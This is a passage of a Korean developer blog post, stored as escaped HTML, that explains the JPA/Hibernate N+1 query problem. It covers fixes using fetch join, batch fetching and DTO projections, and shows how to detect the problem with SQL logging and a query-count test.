/static/7dd8612f1291f7e0d47fdfd2e84f91f5/3e3fe/video-thumb.png 860w,
/static/7dd8612f1291f7e0d47fdfd2e84f91f5/e7448/video-thumb.png 900w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/7dd8612f1291f7e0d47fdfd2e84f91f5/3e3fe/video-thumb.png&apos; alt=&apos;N+1 쿼리 영상 — 목록 조회 한 번 뒤에 연관 데이터 쿼리가 100번 이어서 나가는 화면&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;N+1 쿼리 영상 — 목록 조회 한 번 뒤에 연관 데이터 쿼리가 100번 이어서 나가는 화면&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어떻게 101번이 되나&lt;/h2&gt;
&lt;p&gt;코드는 아주 평범하게 생겼습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; posts &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; postRepository&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// ① 쿼리 1번&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt; post &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; posts&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getAuthor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// ② 여기서 매번 1번&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실제로 나가는 SQL은 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- ① 목록&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; post&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- ② 반복문이 돌 때마다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; member &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; member &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; member &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; member &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;getAuthor()&lt;/code&gt;까지는 아무 일도 안 일어납니다. &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;getName()&lt;/code&gt;을 호출하는 순간&lt;/strong&gt; 프록시가 실제 값을 채우려고 쿼리를 날립니다. 게시글이 100개면 그 순간이 100번 옵니다.&lt;/p&gt;
&lt;p&gt;여기서 이름이 나옵니다 — 목록 &lt;strong&gt;1&lt;/strong&gt;번 + 항목마다 &lt;strong&gt;N&lt;/strong&gt;번, 그래서 &lt;strong&gt;N+1&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h2&gt;왜 로컬에서는 안 걸리나&lt;/h2&gt;
&lt;p&gt;이 문제가 위험한 이유는 &lt;strong&gt;조용하기 때문&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;에러가 안 납니다. 결과는 정확합니다.&lt;/li&gt;
&lt;li&gt;로컬 데이터가 열 건이면 쿼리 11번이고, 체감이 안 됩니다.&lt;/li&gt;
&lt;li&gt;테스트도 통과합니다. 쿼리 횟수를 검증하지 않는 한 잡히지 않습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그러다 &lt;strong&gt;데이터가 늘어나는 만큼 정직하게 선형으로 느려집니다.&lt;/strong&gt; 그게 어느 날 장애가 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;게시글 수&lt;/th&gt;
&lt;th&gt;지연 로딩&lt;/th&gt;
&lt;th&gt;fetch join&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10건&lt;/td&gt;
&lt;td&gt;11회&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1회&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100건&lt;/td&gt;
&lt;td&gt;101회&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1회&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1,000건&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1,001회&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1회&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;오른쪽 열이 이 글의 결론입니다. &lt;strong&gt;데이터가 100배로 늘어도 쿼리는 한 번&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h2&gt;흔한 오해 — LAZY 라서 생기는 게 아닙니다&lt;/h2&gt;
&lt;p&gt;가장 많이 하는 처방이 &lt;code class=&quot;language-text&quot;&gt;EAGER&lt;/code&gt;로 바꾸는 것인데, &lt;strong&gt;거의 항상 더 나빠집니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@ManyToOne&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fetch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FetchType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;EAGER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// ❌ 해결책이 아닙니다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Member&lt;/span&gt; author&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;EAGER&lt;/code&gt;로 바꿔도 JPQL로 목록을 조회하면 &lt;strong&gt;여전히 N+1이 납니다.&lt;/strong&gt; JPQL은 적힌 대로 SQL을 만들고, 그다음 EAGER 연관을 채우려고 다시 N번 쿼리를 날립니다. 오히려 이제는 &lt;strong&gt;그 엔티티를 쓰는 모든 조회에서&lt;/strong&gt; 연관 데이터가 딸려 옵니다. 필요 없는 곳에서도요.&lt;/p&gt;
&lt;p&gt;정리하면 이렇습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;지연 로딩은 원인이 아니라 조건입니다.&lt;/strong&gt; 원인은 &quot;반복문 안에서 연관을 건드린 것&quot;입니다.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;@ManyToOne&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;@OneToOne&lt;/code&gt;은 &lt;strong&gt;기본값이 EAGER&lt;/strong&gt;라 손대지 않아도 N+1이 납니다. 전부 &lt;code class=&quot;language-text&quot;&gt;LAZY&lt;/code&gt;로 두는 게 출발점입니다.&lt;/li&gt;
&lt;li&gt;그다음, &lt;strong&gt;조회하는 쪽에서&lt;/strong&gt; 필요한 걸 한 번에 가져오도록 지정합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;해결 ① fetch join — 한 번에 조인해서 가져온다&lt;/h2&gt;
&lt;p&gt;가장 직접적인 방법입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@Query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;select p from Post p join fetch p.author&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;findAllWithAuthor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; m&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; post p &lt;span class=&quot;token keyword&quot;&gt;inner&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;join&lt;/span&gt; member m &lt;span class=&quot;token keyword&quot;&gt;on&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;author_id &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; m&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;쿼리 &lt;strong&gt;1번&lt;/strong&gt;입니다. 스프링 데이터 JPA를 쓰신다면 &lt;code class=&quot;language-text&quot;&gt;@EntityGraph&lt;/code&gt;로도 같은 일을 합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@EntityGraph&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;attributePaths &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;author&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;다만 함정이 하나 있습니다.&lt;/strong&gt; 컬렉션(&lt;code class=&quot;language-text&quot;&gt;@OneToMany&lt;/code&gt;)을 fetch join 하면서 &lt;strong&gt;페이징을 같이 걸면 안 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ⚠ 위험 — 하이버네이트가 전체를 메모리로 읽어 올린 뒤 페이징합니다&lt;/span&gt;
&lt;span class=&quot;token annotation punctuation&quot;&gt;@Query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;select p from Post p join fetch p.comments&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;Page&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Post&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Pageable&lt;/span&gt; pageable&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;조인 결과가 행 단위로 뻥튀기되어 DB에서 페이징을 할 수 없기 때문입니다. 하이버네이트는 &lt;strong&gt;경고 로그만 남기고 전부 읽어 옵니다&lt;/strong&gt;(&lt;code class=&quot;language-text&quot;&gt;firstResult/maxResults specified with collection fetch&lt;/code&gt;). 데이터가 많으면 그대로 메모리 문제가 됩니다.&lt;/p&gt;
&lt;p&gt;컬렉션을 &lt;strong&gt;둘 이상&lt;/strong&gt; fetch join 하는 것도 안 됩니다. 행이 곱해져서 하이버네이트가 &lt;code class=&quot;language-text&quot;&gt;MultipleBagFetchException&lt;/code&gt;을 던집니다.&lt;/p&gt;
&lt;h2&gt;해결 ② batch fetch — IN 절로 묶는다&lt;/h2&gt;
&lt;p&gt;컬렉션이거나 페이징이 필요하면 이쪽이 정답입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;jpa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;hibernate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;default_batch_fetch_size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 두면 지연 로딩이 하나씩 나가지 않고 &lt;strong&gt;모아서 한 번에&lt;/strong&gt; 나갑니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;select&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; member &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt; id &lt;span class=&quot;token operator&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;쿼리가 &lt;code class=&quot;language-text&quot;&gt;1 + N&lt;/code&gt;에서 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;1 + (N / batch_size)&lt;/code&gt;&lt;/strong&gt; 로 줄어듭니다. 100건이면 2회입니다.&lt;/p&gt;
&lt;p&gt;fetch join보다 쿼리가 한 번 더 나가지만, &lt;strong&gt;페이징이 정상 동작하고 컬렉션도 안전합니다.&lt;/strong&gt; 실무에서는 이걸 전역으로 켜 두고, 무거운 조회만 fetch join으로 따로 잡는 조합을 많이 씁니다.&lt;/p&gt;
&lt;h2&gt;해결 ③ DTO로 직접 조회 — 엔티티를 안 쓴다&lt;/h2&gt;
&lt;p&gt;목록 화면처럼 &lt;strong&gt;읽기만 하는 경우&lt;/strong&gt;에는 엔티티를 가져올 이유가 없습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token annotation punctuation&quot;&gt;@Query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
    select new com.example.PostListDto(p.id, p.title, m.name)
    from Post p join p.author m
&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;token generics&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;PostListDto&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;findAllForList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;필요한 컬럼만 조인해서 한 번에 가져옵니다. 영속성 컨텍스트에 엔티티를 올리지 않으니 메모리도 덜 씁니다. 대신 &lt;strong&gt;수정이 안 됩니다&lt;/strong&gt; — 읽기 전용 화면에만 쓰세요.&lt;/p&gt;
&lt;h2&gt;어떻게 찾아내나&lt;/h2&gt;
&lt;p&gt;가장 확실한 건 &lt;strong&gt;SQL을 눈으로 보는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;jpa&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;show-sql&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;hibernate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;format_sql&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;logging&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;org.hibernate.orm.jdbc.bind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; trace &lt;span class=&quot;token comment&quot;&gt;# 바인딩 파라미터까지&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;로그를 켜고 목록 API를 한 번 호출해 보세요. &lt;strong&gt;같은 모양의 select가 여러 줄 반복되면 그게 N+1입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;다만 눈으로 보는 건 놓치기 쉽습니다. 한 번 잡고 나면 &lt;strong&gt;테스트로 고정&lt;/strong&gt;하는 걸 권합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 하이버네이트 통계로 실제 실행된 쿼리 수를 센다 (fetch join 적용 후 = 1회)&lt;/span&gt;
&lt;span class=&quot;token class-name&quot;&gt;Statistics&lt;/span&gt; stats &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; entityManagerFactory
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;SessionFactory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getStatistics&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
stats&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clear&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

postService&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;assertThat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stats&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getPrepareStatementCount&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isEqualTo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
